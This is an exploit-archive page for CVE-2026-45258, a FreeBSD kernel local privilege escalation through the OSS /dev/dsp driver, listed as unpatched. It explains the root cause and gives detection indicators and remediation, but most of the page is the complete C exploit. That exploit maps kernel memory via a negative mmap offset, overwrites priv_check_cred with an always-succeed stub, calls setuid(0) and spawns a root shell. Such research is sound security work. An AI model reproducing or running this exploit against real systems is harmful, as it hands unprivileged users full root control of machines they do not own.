PoC Archive PoC Archive
Critical CVE-2026-45258 unpatched

FreeBSD /dev/dsp (OSS) Negative-Offset mmap Kernel Memory Corruption LPE (CVE-2026-45258)

by Yayoi-cs · 2026-07-05

Severity
Critical
CVE
CVE-2026-45258
Category
binary
Affected product
FreeBSD kernel (OSS//dev/dsp sound driver mmap handling)
Affected versions
per source repository (offset PRIV_CHECK_CRED_OFF 0x950af0 hardcoded for tested kernel build)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherYayoi-cs
CVE / AdvisoryCVE-2026-45258
Categorybinary
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagsfreebsd, kernel, lpe, privilege-escalation, oss, dev-dsp, mmap, setuid, 1day
RelatedN/A

Affected Target

FieldValue
Software / SystemFreeBSD kernel (OSS//dev/dsp sound driver mmap handling)
Versions Affectedper source repository (offset PRIV_CHECK_CRED_OFF 0x950af0 hardcoded for tested kernel build)
Language / PlatformC
Authentication RequiredLocal (unprivileged local user/shell access)
Network Access RequiredNo

Summary

This PoC targets a FreeBSD kernel local privilege escalation reachable through the OSS /dev/dsp audio device driver. By configuring device fragment sizes via ioctl(SNDCTL_DSP_SETFRAGMENT, ...) and then mmap-ing the device with a crafted negative file offset, the exploit tricks the kernel into mapping kernel virtual memory (rather than the intended device buffer) into the process address space. It then locates and overwrites the priv_check_cred kernel function with a stub that always returns success (xor eax,eax; ret), effectively disabling the kernel’s privilege/credential check, and finally calls setuid(0)/setgid(0) to obtain root before spawning /bin/sh.


Vulnerability Details

Root Cause

The OSS /dev/dsp driver’s mmap handler does not properly validate/clamp a negative file offset supplied by userspace when computing the resulting kernel buffer mapping. By pre-mapping many “spray” file descriptors of the same device to learn the driver’s KVA (kernel virtual address) layout via sysctl(KERN_PROC_VMMAP), the exploit computes an offset/length pair that, when passed to a second mmap() call with a negative offset, causes the kernel to map memory pages that live before the intended buffer in kernel address space — including the priv_check_cred function’s code page — into the calling process as PROT_READ | PROT_WRITE shared memory. This gives the unprivileged process direct read/write access to arbitrary kernel memory relative to the leaked buffer KVA and the kernel base address (obtained via kldstat).

Attack Vector

  1. Resolve the running kernel’s base address using kldstat().
  2. Compute the absolute target address of the priv_check_cred function using a hardcoded offset (PRIV_CHECK_CRED_OFF) from kernel base.
  3. Open and mmap many /dev/dsp file descriptors (spraying) after configuring OSS fragment parameters via ioctl(SNDCTL_DSP_SETFRAGMENT) to influence kernel buffer allocation/placement.
  4. Use sysctl(KERN_PROC_VMMAP) on the exploit’s own process to discover the kernel virtual address (KVA) backing one of the mapped /dev/dsp buffers.
  5. Compute a negative mmap offset/length such that mapping the device again lands the mapping’s userspace address on the kernel page containing priv_check_cred.
  6. Write a small patch (31 c0 c3 90 90 90 90 90, i.e. xor eax,eax; ret; nop*4) directly into the mapped kernel memory, neutralizing the credential-check function so it always reports success.
  7. Call setuid(0) and setgid(0) — now unconditionally allowed because priv_check_cred no longer denies the operation — and execv("/bin/sh") to obtain a root shell.

Impact

A local unprivileged user with access to the OSS /dev/dsp device node can gain arbitrary kernel read/write and escalate to full root privileges on the affected FreeBSD system.


Environment / Lab Setup

Target: FreeBSD kernel build matching the hardcoded PRIV_CHECK_CRED_OFF (0x950af0) offset.
Requirements: local shell access, read/write permission on /dev/dsp (OSS sound driver present/enabled).
Attacker tooling: cc/clang to compile exp.c on the target (or statically compile for the target ABI).

Proof of Concept

PoC Script

See exp.c (and demonstration screenshot lpe.png) in this folder.

1
2
cc -O2 -o exp exp.c
./exp

Running the compiled binary on a vulnerable FreeBSD host sprays /dev/dsp mappings, leaks the kernel buffer KVA, remaps kernel memory containing priv_check_cred as read/write, patches it to a no-op success stub, then calls setuid(0)/setgid(0) before executing /bin/sh as root.


Detection & Indicators of Compromise

- Repeated open()/mmap()/ioctl(SNDCTL_DSP_SETFRAGMENT) calls against /dev/dsp from an unprivileged process,
  especially large numbers of concurrent open file descriptors on the same audio device (fd spraying).
- mmap() calls against a device fd using unusual/negative file offsets.
- sysctl KERN_PROC_VMMAP queries by a non-privileged process immediately followed by writes to a device mapping.
- Unexpected setuid(0)/execve("/bin/sh") transitions originating from a process that was previously unprivileged
  and had /dev/dsp open.

Signs of compromise:

  • Unprivileged process unexpectedly running as root (uid/euid 0) shortly after interacting with /dev/dsp.
  • Kernel panics, instability, or unexplained integrity failures in audio/OSS subsystem code pages.
  • Root shells spawned from processes with no prior privileged parent, correlating with audio device access.

Remediation

ActionDetail
Primary fixApply the FreeBSD kernel/OSS driver patch that validates and clamps mmap offsets on /dev/dsp (and related audio device nodes) so negative or out-of-range offsets cannot map kernel memory outside the intended device buffer.
Interim mitigationRestrict access to /dev/dsp (and other OSS device nodes) to trusted users/groups only, or disable/unload the OSS sound driver on systems where it is not required, until the kernel is patched.

References


Notes

Mirrored from https://github.com/Yayoi-cs/CVE-2026-45258_1day_LPE_exploit on 2026-07-05.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/resource.h>
#include <sys/soundcard.h>
#include <sys/linker.h>
#include <sys/sysctl.h>
#include <sys/user.h>

#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <limits.h>

#define SYSCHK(x) ({ \
    typeof(x) __res = (x); \
    if (__res == (typeof(x))-1) { \
    error("%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \
    exit(1); \
    } \
    __res; \
    })

#define info(fmt, ...) printf("[*] " fmt "\n", ##__VA_ARGS__); 
#define success(fmt, ...) printf("[+] " fmt "\n", ##__VA_ARGS__);
#define error(fmt, ...) printf("[-] " fmt "\n", ##__VA_ARGS__); 
#define warning(fmt, ...) printf("[!] " fmt "\n", ##__VA_ARGS__); 
#define hl(x) printf("[#] " #x " = 0x%lx\n",(unsigned long)x);


#define rep(X,Y) for (int X = 0;X < (Y);++X)
#define drep(X,Y) for (unsigned long X = 0;X < (Y);X+=4)
#define qrep(X,Y) for (unsigned long X = 0;X < (Y);X+=8)
#define dqrep(X,Y) for (unsigned long X = 0;X < (Y);X+=16)
#define irep(X) for (int X = 0;;++X)
#define rrep(X,Y) for (int X = int(Y)-1;X >=0;--X)
#define range(X,Y,Z) for (int X = Y;X < Z;X++)
#define __DBG__ _dbg(__FILE__, __LINE__);

void _dbg(const char *file, int line) {
    info("dbg @ %s:%d", file,line);
    getchar();
}

#define __CHK__(x) _chk( __FILE__, __LINE__, #x,x);

void _chk(const char *msg, int line, const char *code, int cond) {
    if (cond) { success("[OK] %s @ %s:%d",code,msg,line); }
    else { error("[FAIL] %s @ %s:%d",code,msg,line); abort(); }
}


void _xxd_qword(char *buf, int size) {
    char *p = buf;
    dqrep (i, size) {
        printf("0x%06x |", (int)i);
        printf(" 0x%016lx ", *(unsigned long *)(p + i));
        printf(" 0x%016lx ", *(unsigned long *)(p + i + 8));
        printf("\n");
    }
}

#define xxd_qword(X,Y) \
    puts("[" #X "]"); \
    _xxd_qword((char *)(X), (int)Y)

void _xxd(char *buf, int size) {
    char *p = buf;
    dqrep (i, size) {
        printf("0x%06x |", (int)i);
        rep (j, 0x10) { printf(" %02x", *(unsigned char *)(p+i+j)); }
        printf(" |");
        rep (j, 0x10) {
            if (*(unsigned char *)(p+i+j) < 0x20 || *(unsigned char *)(p+i+j) > 0x7e) {
                printf(".");
            } else { printf("%c", *(unsigned char *)(p + i + j)); }
        }
        printf("|\n");
    }
}
#define xxd(X,Y) \
    puts("[" #X "]"); \
    _xxd((char *)(X), (int)Y)


#define DEV_PATH "/dev/dsp"
#define PAGE_SZ  4096ULL
#define SPRAY_FDS 850
#define FRAGS 32U
#define FRAGLOG 12U

#define PRIV_CHECK_CRED_OFF 0x950af0ULL

static uint64_t kernel_base(void) {
        struct kld_file_stat st;

        memset(&st, 0, sizeof(st));
        st.version = sizeof(st);
        SYSCHK(kldstat(1, &st) < 0);
        return ((uint64_t)(uintptr_t)st.address);
}

static void raise_limits(void) {
        struct rlimit rl;

        if (getrlimit(RLIMIT_NOFILE, &rl) == 0) {
                rl.rlim_cur = rl.rlim_max;
                setrlimit(RLIMIT_NOFILE, &rl);
        }
#if defined(RLIMIT_AS)
        if (getrlimit(RLIMIT_AS, &rl) == 0) {
                rl.rlim_cur = rl.rlim_max;
                setrlimit(RLIMIT_AS, &rl);
        }
#endif
}

static void set_fragments(int fd) {
        int arg;

        arg = (2 << 16) | 4;
        (void)ioctl(fd, SNDCTL_DSP_SETFRAGMENT, &arg);
        arg = (FRAGS << 16) | FRAGLOG;
        SYSCHK(ioctl(fd, SNDCTL_DSP_SETFRAGMENT, &arg) != 0);
}

static uint64_t self_dsp_mapping_offset(void *addr) {
        int mib[4] = { CTL_KERN, KERN_PROC, KERN_PROC_VMMAP, getpid() };
        size_t len = 0;
        char *buf, *p, *end;
        uint64_t a = (uint64_t)(uintptr_t)addr;

        SYSCHK(sysctl(mib, 4, NULL, &len, NULL, 0) != 0);
        buf = malloc(len);
        __CHK__(buf != NULL)
        SYSCHK(sysctl(mib, 4, buf, &len, NULL, 0) != 0);

        p = buf;
        end = buf + len;
        while (p < end) {
                struct kinfo_vmentry *kve = (struct kinfo_vmentry *)p;

                if (kve->kve_structsize == 0) break;
                if (a >= kve->kve_start && a < kve->kve_end && kve->kve_type == KVME_TYPE_DEVICE && strstr(kve->kve_path, "dsp") != NULL) {
                        uint64_t off = kve->kve_offset;
                        free(buf);
                        return (off);
                }
                p += kve->kve_structsize;
        }

        free(buf);
        fprintf(stderr, "failed to find own /dev/dsp mapping in KERN_PROC_VMMAP\n");
        exit(1);
}

static int open_prime_one(void **map_out) {
        int fd = SYSCHK(open(DEV_PATH, O_RDWR));
        set_fragments(fd);
        *map_out = SYSCHK(mmap(NULL, PAGE_SZ, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0));
        return (fd);
}

int main(void) {
        int spray_fd[SPRAY_FDS];
        void *spray_map[SPRAY_FDS];
        int fd;
        void *prime, *evil, *target_user;
        uint64_t kbase, target, target_page, target_off;
        uint64_t buf_kva, d, q, r, k, map_len64, need, touch_delta;
        off_t neg_off;

        raise_limits();
        rep(i, SPRAY_FDS) {
                spray_fd[i] = -1;
                spray_map[i] = MAP_FAILED;
        }

        kbase = kernel_base();
        target = kbase + PRIV_CHECK_CRED_OFF;
        hl(kbase);
        hl(target);

        rep(i, SPRAY_FDS) {
                spray_fd[i] = SYSCHK(open_prime_one(&spray_map[i]));
        }

        fd = SYSCHK(open_prime_one(&prime));

        buf_kva = self_dsp_mapping_offset(prime);
        hl(buf_kva);

        target_page = target & ~(PAGE_SZ - 1);
        target_off = target & (PAGE_SZ - 1);
        if (target_page <= buf_kva) {
                fprintf(stderr, "target is not forward from buf KVA\n");
                return (1);
        }

        d = target_page - buf_kva;
        q = d >> 32;
        r = d & 0xffffffffULL;
        need = (q << 32) + PAGE_SZ;
        k = q + 1;
        map_len64 = (k << 32) - r;
        if (map_len64 < need)
                map_len64 = ((++k) << 32) - r;
        touch_delta = d - r;

        printf("[+] first mapped KVA low32 = 0x%08jx\n", (uintmax_t)r);
        printf("[+] mmap length = 0x%jx, touch delta = 0x%jx, pageoff = 0x%jx\n", (uintmax_t)map_len64, (uintmax_t)touch_delta, (uintmax_t)target_off);

        if (map_len64 > (uint64_t)SIZE_MAX || map_len64 > (uint64_t)INT64_MAX) {
                fprintf(stderr, "map length too large\n");
                return (1);
        }
        neg_off = -(off_t)map_len64;
        evil = SYSCHK(mmap(NULL, (size_t)map_len64, PROT_READ | PROT_WRITE, MAP_SHARED, fd, neg_off));
        target_user = (void *)((uintptr_t)evil + (uintptr_t)touch_delta + (uintptr_t)target_off);
        hl(target_user);

        xxd(target_user,0x10);

        volatile uint8_t *p = (volatile uint8_t *)target_user;
        static const uint8_t patch[] = { 0x31, 0xc0, 0xc3,0x90, 0x90, 0x90, 0x90, 0x90 };

        for (size_t i = 0; i < sizeof(patch); i++) p[i] = patch[i];
        SYSCHK(setgid(0));
        SYSCHK(setuid(0));
        __CHK__(geteuid() == 0);
        __CHK__(getuid() == 0);
        char *argv[] = { "/bin/sh", NULL };
        execv(argv[0], argv);
}